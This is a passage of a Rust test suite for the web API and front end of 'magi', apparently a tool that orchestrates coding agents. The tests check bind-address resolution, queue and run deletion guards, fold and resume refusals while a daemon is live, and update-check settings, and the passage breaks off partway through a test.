12017 on_disk.turns.push(crate::talk::Turn {
12018 who: crate::talk::Who::Operator,
12019 body: "a new turn".to_owned(),
12020 at: Timestamp::now(),
12021 attachments: Vec::new(),
12022 usage: None,
12023 });
12024 f.talks().put(&mut on_disk).expect("record a turn");
12025
12026 let after = f.get("/api/health").await.json()["talks_rev"]
12027 .as_u64()
12028 .expect("talks_rev");
12029 assert_ne!(
12030 before, after,
12031 "a phone must be able to notice a talk's reply without polling every store"
12032 );
12033 }
12034
12035 #[test]
12036 fn bind_reads_back_from_the_spelling_the_cli_prints() {
12037 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
12041 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
12042 }
12043 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
12044 assert!("everywhere".parse::<Bind>().is_err());
12045 }
12046
12047 #[test]
12048 fn an_explicit_bind_address_is_taken_verbatim() {
12049 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
12050
12051 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
12052
12053 assert_eq!(addr, asked);
12054 assert!(
12055 warning.is_none(),
12056 "an operator who named an address gets no lecture"
12057 );
12058 }
12059
12060 #[test]
12061 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
12062 let (addr, warning) = resolve_bind(&Bind::Auto);
12063
12064 match addr {
12071 IpAddr::V4(ip) if is_tailnet(&ip) => {
12072 assert!(warning.is_none(), "a tailnet address needs no warning");
12073 }
12074 other => {
12075 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
12076 let warning = warning.expect("a fallback has to explain itself");
12077 assert!(
12078 warning.contains("127.0.0.1") && warning.contains("local-only"),
12079 "the warning says what happened and what it costs: {warning}"
12080 );
12081 }
12082 }
12083 }
12084
12085 #[test]
12086 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
12087 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
12091 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
12092 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
12093 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
12094 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
12095 }
12096
12097 #[test]
12098 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
12099 let ids = vec![
12100 "20260902-140501-aaaa".to_owned(),
12101 "20260902-140502-aabb".to_owned(),
12102 ];
12103
12104 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
12105 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
12106 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
12107
12108 assert_eq!(missing.status, StatusCode::NOT_FOUND);
12109 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
12110 assert_eq!(short, "20260902-140502-aabb");
12111 }
12112 #[tokio::test]
12113 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
12114 let fx = Fixture::start().await;
12120 let id = panel(
12121 &fx,
12122 "<img src=\"shot.png\">",
12123 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
12124 );
12125
12126 let doc = fx
12128 .get(&format!("/api/questions/{id}/panel/index.html"))
12129 .await;
12130 assert_eq!(doc.status, 200, "{}", doc.body);
12131 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
12132
12133 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
12134 assert_eq!(sibling.status, 200, "{}", sibling.body);
12135 assert_eq!(sibling.header("content-type"), Some("image/png"));
12136 assert_eq!(
12137 sibling.header("content-security-policy"),
12138 Some(PANEL_CSP),
12139 "the sibling route must carry the same policy as the asset route"
12140 );
12141
12142 assert_eq!(
12145 fx.head(&format!("/api/questions/{id}/panel")).await.status,
12146 200
12147 );
12148 }
12149
12150 #[test]
12151 fn runs_revision_moves_when_deleting_an_older_run() {
12152 let temp = TempDir::new().expect("tempdir");
12153 let runs = temp.path().join("runs");
12154 std::fs::create_dir_all(&runs).expect("create runs dir");
12155
12156 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
12157
12158 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
12159 std::thread::sleep(Duration::from_millis(10));
12160 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
12161
12162 let rev_before = runs_revision(&runs);
12163 assert!(rev_before > 0);
12164
12165 let old_dir = runs.join("20260901-100000-old1");
12166 std::fs::remove_dir_all(&old_dir).expect("remove old run");
12167
12168 let rev_after = runs_revision(&runs);
12169 assert_ne!(
12170 rev_before, rev_after,
12171 "deleting an older run must change the revision so other clients see the deletion"
12172 );
12173 }
12174
12175 fn write_state(runs: &FsPath, state: &RunState) {
12180 let dir = runs.join(&state.id);
12181 std::fs::create_dir_all(&dir).expect("run dir");
12182 std::fs::write(
12183 dir.join("run.json"),
12184 serde_json::to_string_pretty(state).expect("serialize run"),
12185 )
12186 .expect("write run.json");
12187 }
12188
12189 #[test]
12194 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
12195 let temp = TempDir::new().expect("tempdir");
12196 let runs = temp.path().join("runs");
12197 std::fs::create_dir_all(&runs).expect("create runs dir");
12198 let mut state = RunState::new(
12199 PathBuf::from("/repo/magi"),
12200 "main".to_owned(),
12201 "0123456789abcdef".to_owned(),
12202 "task".to_owned(),
12203 Config::default(),
12204 );
12205 state.id = "20260902-100000-c0de".to_owned();
12206 write_state(&runs, &state);
12207
12208 let rev_idle = runs_revision(&runs);
12209 std::thread::sleep(Duration::from_millis(10));
12210 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
12211 write_state(&runs, &state);
12212 let rev_started = runs_revision(&runs);
12213 assert_ne!(
12214 rev_idle, rev_started,
12215 "a seat starting must move the revision"
12216 );
12217
12218 std::thread::sleep(Duration::from_millis(10));
12219 state.seat_finished("judge-1");
12220 write_state(&runs, &state);
12221 let rev_finished = runs_revision(&runs);
12222 assert_ne!(
12223 rev_started, rev_finished,
12224 "and clearing it again must move the revision a second time"
12225 );
12226 }
12227
12228 #[tokio::test]
12229 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
12230 let fx = Fixture::start().await;
12235 let q = fx.queue();
12236
12237 let mut t = Task::new(
12238 "Task".to_owned(),
12239 "Instruction".to_owned(),
12240 PathBuf::from("/repo"),
12241 Source::Human,
12242 );
12243 t.block(
12244 vec!["20260101-000000-dead".to_owned()],
12245 Some("waiting on Task 1".to_owned()),
12246 );
12247 t.answers.push(crate::queue::AnsweredQuestion {
12248 question: "Which backend?".to_owned(),
12249 answer: "SQLite".to_owned(),
12250 });
12251 q.put(&mut t).expect("put t");
12252
12253 let res = fx.get("/api/queue").await;
12254 assert_eq!(res.status, 200);
12255 let list = res.json();
12256 let view = list
12257 .as_array()
12258 .expect("array")
12259 .iter()
12260 .find(|v| v["id"] == t.id)
12261 .expect("task in list");
12262 assert_eq!(view["status_str"], "blocked");
12263 assert_eq!(
12264 view["blocked_by"],
12265 serde_json::json!(["20260101-000000-dead"])
12266 );
12267 assert_eq!(view["block_reason"], "waiting on Task 1");
12268 assert_eq!(view["answers"][0]["question"], "Which backend?");
12269 assert_eq!(view["answers"][0]["answer"], "SQLite");
12270
12271 let res = fx
12275 .post(&format!("/api/queue/{}/hold", t.short()), None)
12276 .await;
12277 assert_eq!(res.status, 200);
12278 let held = res.json();
12279 assert_eq!(held["status_str"], "held");
12280 assert_eq!(held["blocked_by"], serde_json::json!([]));
12281 assert!(held["block_reason"].is_null());
12282 assert_eq!(held["answers"][0]["answer"], "SQLite");
12283 }
12284
12285 #[tokio::test]
12286 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
12287 let fx = Fixture::start().await;
12288 let q = fx.queue();
12289 let mk = |title: &str| {
12290 Task::new(
12291 title.to_owned(),
12292 "Instruction".to_owned(),
12293 PathBuf::from("/repo"),
12294 Source::Human,
12295 )
12296 };
12297 let mut root = mk("root");
12298 root.hold_manual(Some("waiting".to_owned()));
12299 q.put(&mut root).unwrap();
12300 let mut mid = mk("mid");
12301 mid.block(vec![root.id.clone()], None);
12302 q.put(&mut mid).unwrap();
12303 let mut leaf = mk("leaf");
12304 leaf.block(vec![mid.id.clone()], None);
12305 q.put(&mut leaf).unwrap();
12306
12307 let list = fx.get("/api/queue").await.json();
12308 let find = |id: &str| {
12309 list.as_array()
12310 .unwrap()
12311 .iter()
12312 .find(|v| v["id"] == id)
12313 .unwrap()
12314 .clone()
12315 };
12316 let leaf_view = find(&leaf.id);
12317 assert_eq!(
12318 leaf_view["waits_on"],
12319 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
12320 );
12321 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
12322 assert_eq!(
12323 find(&mid.id)["waits_on"],
12324 serde_json::json!([format!("{} (held)", root.short())])
12325 );
12326 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
12327 }
12328
12329 #[tokio::test]
12330 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
12331 let fx = Fixture::start().await;
12332 let q = fx.queue();
12333
12334 let mut t1 = Task::new(
12336 "Task 1".to_owned(),
12337 "Instruction 1".to_owned(),
12338 PathBuf::from("/repo"),
12339 Source::Human,
12340 );
12341 let run_id = "20260901-000000-r111";
12342 t1.runs.push(run_id.to_owned());
12343 write_run(&fx.runs(), run_id, RunStatus::Merged);
12344 q.put(&mut t1).expect("put t1");
12345
12346 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
12348 assert_eq!(res.status, 204);
12349 assert!(res.body.is_empty(), "204 No Content has no body");
12350 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
12351 assert!(
12352 fx.runs().join(run_id).exists(),
12353 "run directory must not be deleted when its task is deleted"
12354 );
12355
12356 let mut t2 = Task::new(
12358 "Task 2".to_owned(),
12359 "Instruction 2".to_owned(),
12360 PathBuf::from("/repo"),
12361 Source::Human,
12362 );
12363 t2.status = TaskStatus::Running;
12364 q.put(&mut t2).expect("put t2");
12365 let mut beat = crate::daemon::Status::new();
12366 beat.current = vec![crate::daemon::Current {
12367 task: t2.id.clone(),
12368 run: "20260901-000000-r222".to_owned(),
12369 }];
12370 beat.updated_at = jiff::Timestamp::now();
12371 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12372 .expect("publish a heartbeat");
12373 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
12374 assert_eq!(res.status, 409);
12375 assert!(
12376 res.json()["error"]
12377 .as_str()
12378 .unwrap()
12379 .contains("live daemon")
12380 );
12381 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
12382
12383 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
12389 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12390 .expect("leave a stale heartbeat");
12391 let mut t3 = Task::new(
12392 "Task 3".to_owned(),
12393 "Instruction 3".to_owned(),
12394 PathBuf::from("/repo"),
12395 Source::Human,
12396 );
12397 t3.status = TaskStatus::Running;
12398 q.put(&mut t3).expect("put t3");
12399 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
12400 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
12401 assert_eq!(res.status, 204);
12402 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
12403 assert!(
12404 q.claim(&t3.id).is_ok(),
12405 "the stale lock went with it, so the id is claimable again"
12406 );
12407
12408 let res = fx.delete("/api/queue/nonexistent").await;
12410 assert_eq!(res.status, 404);
12411 }
12412
12413 #[tokio::test]
12414 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
12415 let fx = Fixture::start().await;
12416 let runs = fx.runs();
12417
12418 let run_id = "20260901-000000-fold";
12420 let mut state = RunState::new(
12421 PathBuf::from("/repo"),
12422 "main".to_owned(),
12423 "abc".to_owned(),
12424 "instruction".to_owned(),
12425 Config::default(),
12426 );
12427 state.id = run_id.to_owned();
12428 state.status = RunStatus::Merged;
12429 state.candidates.push(crate::run::Candidate {
12430 index: 0,
12431 label: 'A',
12432 agent: "a".to_owned(),
12433 branch: "b".to_owned(),
12434 worktree: PathBuf::from("/w"),
12435 summary: String::new(),
12436 stat: String::new(),
12437 files: 1,
12438 commits: 1,
12439 empty: false,
12440 failed: None,
12441 verified_noop: None,
12442 duration_ms: 0,
12443 folded: true,
12444 });
12445 let dir = runs.join(run_id);
12446 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
12447 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
12448 .expect("write artifact");
12449 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
12450 .expect("write run.json");
12451
12452 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
12454 assert_eq!(res.status, 204);
12455 assert!(res.body.is_empty(), "204 has no body");
12456 assert!(!dir.exists(), "run directory and artifacts must be deleted");
12457
12458 let run_running = "20260901-000000-rung";
12463 write_run(&runs, run_running, RunStatus::Prep);
12464 let mut beat = crate::daemon::Status::new();
12465 beat.current = vec![crate::daemon::Current {
12466 task: "20260901-000000-task".to_owned(),
12467 run: run_running.to_owned(),
12468 }];
12469 beat.updated_at = jiff::Timestamp::now();
12470 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12471 .expect("publish a heartbeat");
12472 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
12473 assert_eq!(res.status, 409);
12474 assert!(
12475 res.json()["error"]
12476 .as_str()
12477 .unwrap()
12478 .contains("live daemon"),
12479 "the refusal must say who is holding it"
12480 );
12481 assert!(
12482 runs.join(run_running).exists(),
12483 "a run in flight keeps its directory"
12484 );
12485
12486 let run_unfolded = "20260901-000000-unfd";
12488 let mut state2 = RunState::new(
12489 PathBuf::from("/repo"),
12490 "main".to_owned(),
12491 "abc".to_owned(),
12492 "instruction".to_owned(),
12493 Config::default(),
12494 );
12495 state2.id = run_unfolded.to_owned();
12496 state2.status = RunStatus::Ready;
12497 state2.candidates.push(crate::run::Candidate {
12498 index: 0,
12499 label: 'A',
12500 agent: "a".to_owned(),
12501 branch: "b".to_owned(),
12502 worktree: PathBuf::from("/w"),
12503 summary: String::new(),
12504 stat: String::new(),
12505 files: 1,
12506 commits: 1,
12507 empty: false,
12508 failed: None,
12509 verified_noop: None,
12510 duration_ms: 0,
12511 folded: false,
12512 });
12513 let dir2 = runs.join(run_unfolded);
12514 std::fs::create_dir_all(&dir2).expect("create dir2");
12515 std::fs::write(
12516 dir2.join("run.json"),
12517 serde_json::to_string(&state2).unwrap(),
12518 )
12519 .expect("write run.json");
12520
12521 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
12522 assert_eq!(res.status, 409);
12523 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
12524 assert!(dir2.exists(), "unfolded run directory is kept");
12525
12526 let res = fx.delete("/api/runs/nonexistent").await;
12528 assert_eq!(res.status, 404);
12529 }
12530
12531 #[test]
12540 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
12541 let start = APP_JS
12542 .find("function renderStats() {")
12543 .expect("renderStats");
12544 let end = start
12545 + APP_JS[start..]
12546 .find("function statsTile(")
12547 .expect("the next top-level function");
12548 let body = &APP_JS[start..end];
12549
12550 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
12551 let gate_end = gate_start
12552 + body[gate_start..]
12553 .find("}\n renderStatsQueue")
12554 .expect("the gate's own closing brace, right before the unconditional call");
12555 let gated = &body[gate_start..gate_end];
12556
12557 assert_eq!(
12558 body.matches("renderStatsQueue(").count(),
12559 1,
12560 "renderStats must call renderStatsQueue exactly once: {body}"
12561 );
12562 assert!(
12563 !gated.contains("renderStatsQueue"),
12564 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
12565 run-derived panels on an empty run history - the queue panel has to render \
12566 regardless: {gated}"
12567 );
12568 }
12569
12570 #[test]
12571 fn web_ui_delete_contract_in_front_end() {
12572 assert!(APP_JS.contains("deleteRun:"));
12574 assert!(APP_JS.contains("deleteTask:"));
12575
12576 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
12578 ..APP_JS.find("function renderRuns").unwrap()];
12579 assert!(!run_cards_slice.to_lowercase().contains("delete"));
12580
12581 assert!(APP_JS.contains("renderRunDelete"));
12583 assert!(APP_JS.contains("runDeleteReason"));
12584 assert!(APP_JS.contains("magi fold"));
12585 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
12586
12587 assert!(APP_JS.contains("cancel.focus"));
12589 assert!(APP_JS.contains("armedRunDelete"));
12590 assert!(APP_JS.contains("renderTaskDeleteBox"));
12591 assert!(APP_JS.contains("armed${cap(key)}"));
12592
12593 assert!(APP_JS.contains("disabled: status === \"running\""));
12595 }
12596
12597 #[test]
12617 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
12618 let build = APP_JS
12619 .find("function createRunCard")
12620 .expect("createRunCard exists");
12621 let update = APP_JS
12622 .find("function updateRunCard")
12623 .expect("updateRunCard exists");
12624 let end = APP_JS
12625 .find("function renderRuns")
12626 .expect("renderRuns exists");
12627
12628 let builder = &APP_JS[build..update];
12630 let open = builder.find("refs = {").expect("createRunCard sets refs");
12631 let literal = &builder[open + "refs = {".len()..];
12632 let close = literal.find('}').expect("the refs literal is closed");
12633 let published: HashSet<&str> = literal[..close]
12634 .split(',')
12635 .filter_map(|entry| entry.split(':').next())
12637 .map(str::trim)
12638 .filter(|name| !name.is_empty())
12639 .collect();
12640 assert!(
12641 published.len() > 5,
12642 "the refs literal did not parse into names: {published:?}"
12643 );
12644
12645 let mut used: Vec<&str> = Vec::new();
12648 let updaters = &APP_JS[update..end];
12649 for (at, _) in updaters.match_indices("r.") {
12650 let before = updaters[..at].chars().next_back();
12653 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
12654 continue;
12655 }
12656 let rest = &updaters[at + 2..];
12657 let len = rest
12658 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
12659 .unwrap_or(rest.len());
12660 if len > 0 {
12661 used.push(&rest[..len]);
12662 }
12663 }
12664 assert!(
12665 used.len() > 5,
12666 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
12667 );
12668
12669 let missing: Vec<&str> = used
12670 .iter()
12671 .copied()
12672 .filter(|name| !published.contains(name))
12673 .collect();
12674 assert!(
12675 missing.is_empty(),
12676 "a run card's updater reaches for {missing:?}, which `createRunCard` \
12677 never put in `refs` - every card will throw and the list will \
12678 render empty under a count line that says otherwise. Published: \
12679 {published:?}"
12680 );
12681 }
12682
12683 #[tokio::test]
12684 async fn folding_from_the_phone_reports_what_it_removed() {
12685 let fx = Fixture::start().await;
12686 let runs = fx.runs();
12687
12688 let id = "20260901-000000-fold";
12692 write_run(&runs, id, RunStatus::Stalled);
12693 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12694 assert_eq!(res.status, 200);
12695 assert_eq!(res.json()["removed_count"], 0);
12696 assert_eq!(res.json()["run"], id);
12697 assert!(
12698 runs.join(id).exists(),
12699 "a fold keeps the run's record; only the worktrees go"
12700 );
12701 }
12702
12703 #[tokio::test]
12704 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
12705 let fx = Fixture::start().await;
12706 let runs = fx.runs();
12707 let wt = fx.home.path().join("wt").join("magi").join("dead");
12708 let id = "20260901-000000-dead";
12709 std::fs::create_dir_all(runs.join(id)).expect("run dir");
12710 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
12711 std::fs::create_dir_all(&wt).expect("worktree dir");
12712
12713 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12714 assert_eq!(res.status, 200, "{}", res.body);
12715 assert!(
12716 res.json()["removed_count"].as_u64().unwrap() > 0,
12717 "the worktree this build could not read a state for still went"
12718 );
12719 assert!(
12720 !runs.join(id).exists(),
12721 "an unreadable run has no candidate list to fold selectively, so \
12722 the whole record goes - same as `magi fold` on the CLI"
12723 );
12724 }
12725
12726 #[tokio::test]
12727 async fn deleting_an_unreadable_run_removes_it_wholesale() {
12728 let fx = Fixture::start().await;
12729 let runs = fx.runs();
12730 let wt = fx.home.path().join("wt").join("magi").join("gone");
12731 let id = "20260901-000000-gone";
12732 std::fs::create_dir_all(runs.join(id)).expect("run dir");
12733 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
12734 std::fs::create_dir_all(&wt).expect("worktree dir");
12735
12736 let res = fx.delete(&format!("/api/runs/{id}")).await;
12737 assert_eq!(res.status, 204, "{}", res.body);
12738 assert!(!runs.join(id).exists(), "the broken record is gone");
12739 assert!(!wt.exists(), "its worktree is gone too");
12740 }
12741
12742 #[tokio::test]
12743 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
12744 let fx = Fixture::start().await;
12745 let runs = fx.runs();
12746 let id = "20260901-000000-live";
12747 write_run(&runs, id, RunStatus::Implementing);
12748
12749 let mut beat = crate::daemon::Status::new();
12750 beat.current = vec![crate::daemon::Current {
12751 task: "20260901-000000-task".to_owned(),
12752 run: id.to_owned(),
12753 }];
12754 beat.updated_at = jiff::Timestamp::now();
12755 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12756 .expect("publish a heartbeat");
12757
12758 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12759 assert_eq!(res.status, 409);
12760 assert!(
12761 res.json()["error"]
12762 .as_str()
12763 .unwrap()
12764 .contains("live daemon"),
12765 "folding under a running agent would pull its worktree away"
12766 );
12767 }
12768
12769 #[tokio::test]
12770 async fn fold_merged_requires_a_pr_url() {
12771 let fx = Fixture::start().await;
12772 let runs = fx.runs();
12773 let id = "20260901-000000-nourl";
12774 write_run(&runs, id, RunStatus::Blocked);
12775
12776 let res = fx
12777 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
12778 .await;
12779 assert_eq!(res.status, 400, "{}", res.body);
12780
12781 let blank = fx
12782 .post(
12783 &format!("/api/runs/{id}/fold-merged"),
12784 Some(r#"{"pr_url":" "}"#),
12785 )
12786 .await;
12787 assert_eq!(blank.status, 400, "{}", blank.body);
12788 }
12789
12790 #[tokio::test]
12791 async fn fold_merged_is_404_for_an_unknown_run() {
12792 let fx = Fixture::start().await;
12793 let res = fx
12794 .post(
12795 "/api/runs/nosuchrun/fold-merged",
12796 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12797 )
12798 .await;
12799 assert_eq!(res.status, 404, "{}", res.body);
12800 }
12801
12802 #[tokio::test]
12803 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
12804 let fx = Fixture::start().await;
12805 let runs = fx.runs();
12806 let id = "20260901-000000-livemerge";
12807 write_run(&runs, id, RunStatus::Blocked);
12808
12809 let mut beat = crate::daemon::Status::new();
12810 beat.current = vec![crate::daemon::Current {
12811 task: "20260901-000000-task".to_owned(),
12812 run: id.to_owned(),
12813 }];
12814 beat.updated_at = jiff::Timestamp::now();
12815 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12816 .expect("publish a heartbeat");
12817
12818 let res = fx
12819 .post(
12820 &format!("/api/runs/{id}/fold-merged"),
12821 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12822 )
12823 .await;
12824 assert_eq!(res.status, 409, "{}", res.body);
12825 assert!(
12826 res.json()["error"]
12827 .as_str()
12828 .unwrap()
12829 .contains("live daemon"),
12830 "correcting a run's merge underneath a running agent would race \
12831 whatever it is doing to the same `status`/`merge` fields"
12832 );
12833 }
12834
12835 #[tokio::test]
12840 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
12841 let fx = Fixture::start().await;
12842 let runs = fx.runs();
12843 let id = "20260901-000000-unconfirmed";
12844 write_run(&runs, id, RunStatus::Blocked);
12845
12846 let res = fx
12847 .post(
12848 &format!("/api/runs/{id}/fold-merged"),
12849 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12850 )
12851 .await;
12852 assert_eq!(res.status, 400, "{}", res.body);
12853 assert_eq!(
12854 read_run(&runs, id).unwrap().status,
12855 RunStatus::Blocked,
12856 "a pull request that could not be confirmed merged must leave \
12857 the run exactly where it was"
12858 );
12859 }
12860
12861 #[tokio::test]
12862 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
12863 let fx = Fixture::start().await;
12864 let runs = fx.runs();
12865
12866 for (status, word) in [
12872 (RunStatus::Merged, "merged"),
12873 (RunStatus::Ready, "ready"),
12874 (RunStatus::Failed, "failed"),
12875 ] {
12876 let id = format!("20260901-000000-{}", &word[..4]);
12877 write_run(&runs, &id, status);
12878 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
12879 assert_eq!(res.status, 409, "{word} must not be resumable");
12880 let err = res.json()["error"].as_str().unwrap().to_owned();
12881 assert!(err.contains(word), "the refusal names the status: {err}");
12882 }
12883
12884 let mid = "20260901-000000-midf";
12889 write_run(&runs, mid, RunStatus::Reviewing);
12890 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
12891 assert_eq!(res.status, 202, "an interrupted run is resumable");
12892 }
12893
12894 #[tokio::test]
12895 async fn resume_is_refused_while_the_loop_is_running() {
12896 let fx = Fixture::start().await;
12897 let runs = fx.runs();
12898 let stalled = "20260901-000000-stal";
12899 write_run(&runs, stalled, RunStatus::Stalled);
12900
12901 let mut beat = crate::daemon::Status::new();
12905 beat.current = vec![crate::daemon::Current {
12906 task: "20260901-000000-task".to_owned(),
12907 run: "20260901-000000-othr".to_owned(),
12908 }];
12909 beat.updated_at = jiff::Timestamp::now();
12910 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12911 .expect("publish a heartbeat");
12912
12913 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
12914 assert_eq!(res.status, 409);
12915 let err = res.json()["error"].as_str().unwrap().to_owned();
12916 assert!(err.contains("othr"), "it names what the loop is on: {err}");
12917 assert!(err.contains("stop it first"), "{err}");
12918 }
12919
12920 #[test]
12921 fn a_run_cannot_be_resumed_twice_at_once() {
12922 let home = TempDir::new().expect("temp home");
12923 let ui = Ui::new(
12924 Queue::at(home.path().join("queue")),
12925 Questions::at(home.path().join("questions")),
12926 Talks::at(home.path().join("talks")),
12927 home.path().join("runs"),
12928 home.path().to_path_buf(),
12929 PathBuf::from("/repo"),
12930 )
12931 .with_worktrees_root(home.path().join("wt"));
12932 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
12933 let again = ui.begin_resume("20260901-000000-once");
12934 assert!(again.is_err(), "a second tap must not start a second graph");
12935 drop(first);
12936 assert!(
12937 ui.begin_resume("20260901-000000-once").is_ok(),
12938 "and the claim is released when the attempt ends"
12939 );
12940 }
12941
12942 #[test]
12943 fn talk_thinking_tracks_only_its_held_turn_claim() {
12944 let home = TempDir::new().expect("temp home");
12945 let ui = Ui::new(
12946 Queue::at(home.path().join("queue")),
12947 Questions::at(home.path().join("questions")),
12948 Talks::at(home.path().join("talks")),
12949 home.path().join("runs"),
12950 home.path().to_path_buf(),
12951 PathBuf::from("/repo"),
12952 )
12953 .with_worktrees_root(home.path().join("wt"));
12954 let id = "20260901-000000-once";
12955
12956 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
12957 let turn = ui.begin_talk_turn(id).expect("claim turn");
12958 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
12959 assert!(
12960 !ui.is_thinking("20260901-000000-other"),
12961 "one talk's turn does not make another talk busy"
12962 );
12963 drop(turn);
12964 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
12965 }
12966
12967 #[tokio::test]
12968 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
12969 let fx = Fixture::start().await;
12970 let mut beat = crate::daemon::Status::new();
12974 beat.pid = 4321;
12975 beat.updated_at = jiff::Timestamp::now();
12976 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12977 .expect("publish a heartbeat");
12978
12979 let res = fx.post("/api/upgrade", None).await;
12980 assert_eq!(res.status, 409);
12981 let err = res.json()["error"].as_str().unwrap().to_owned();
12982 assert!(err.contains("4321"), "the refusal names the owner: {err}");
12983 assert!(err.contains("old one against the same queue"), "{err}");
12984 }
12985
12986 #[test]
12993 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
12994 assert!(!should_spawn_recheck(&crate::config::Update {
12995 mode: UpdateMode::Off,
12996 interval: None,
12997 }));
12998
12999 unsafe {
13002 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
13003 }
13004 let killed = should_spawn_recheck(&crate::config::Update {
13005 mode: UpdateMode::Notify,
13006 interval: None,
13007 });
13008 unsafe {
13009 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
13010 }
13011 assert!(
13012 !killed,
13013 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
13014 one-time startup check"
13015 );
13016
13017 assert!(should_spawn_recheck(&crate::config::Update {
13018 mode: UpdateMode::Notify,
13019 interval: None,
13020 }));
13021 }
13022
13023 #[test]
13029 fn recheck_poll_period_tracks_a_short_configured_interval() {
13030 let short = crate::config::Update {
13031 mode: UpdateMode::Notify,
13032 interval: Some("1m".to_owned()),
13033 };
13034 let period = recheck_poll_period(&short);
13035 assert!(
13036 period <= Duration::from_secs(30),
13037 "a one-minute interval must wake the task far sooner than the \
13038 default ceiling, or the deck would not notice within the \
13039 interval the operator configured: got {period:?}"
13040 );
13041
13042 let default = crate::config::Update {
13043 mode: UpdateMode::Notify,
13044 interval: None,
13045 };
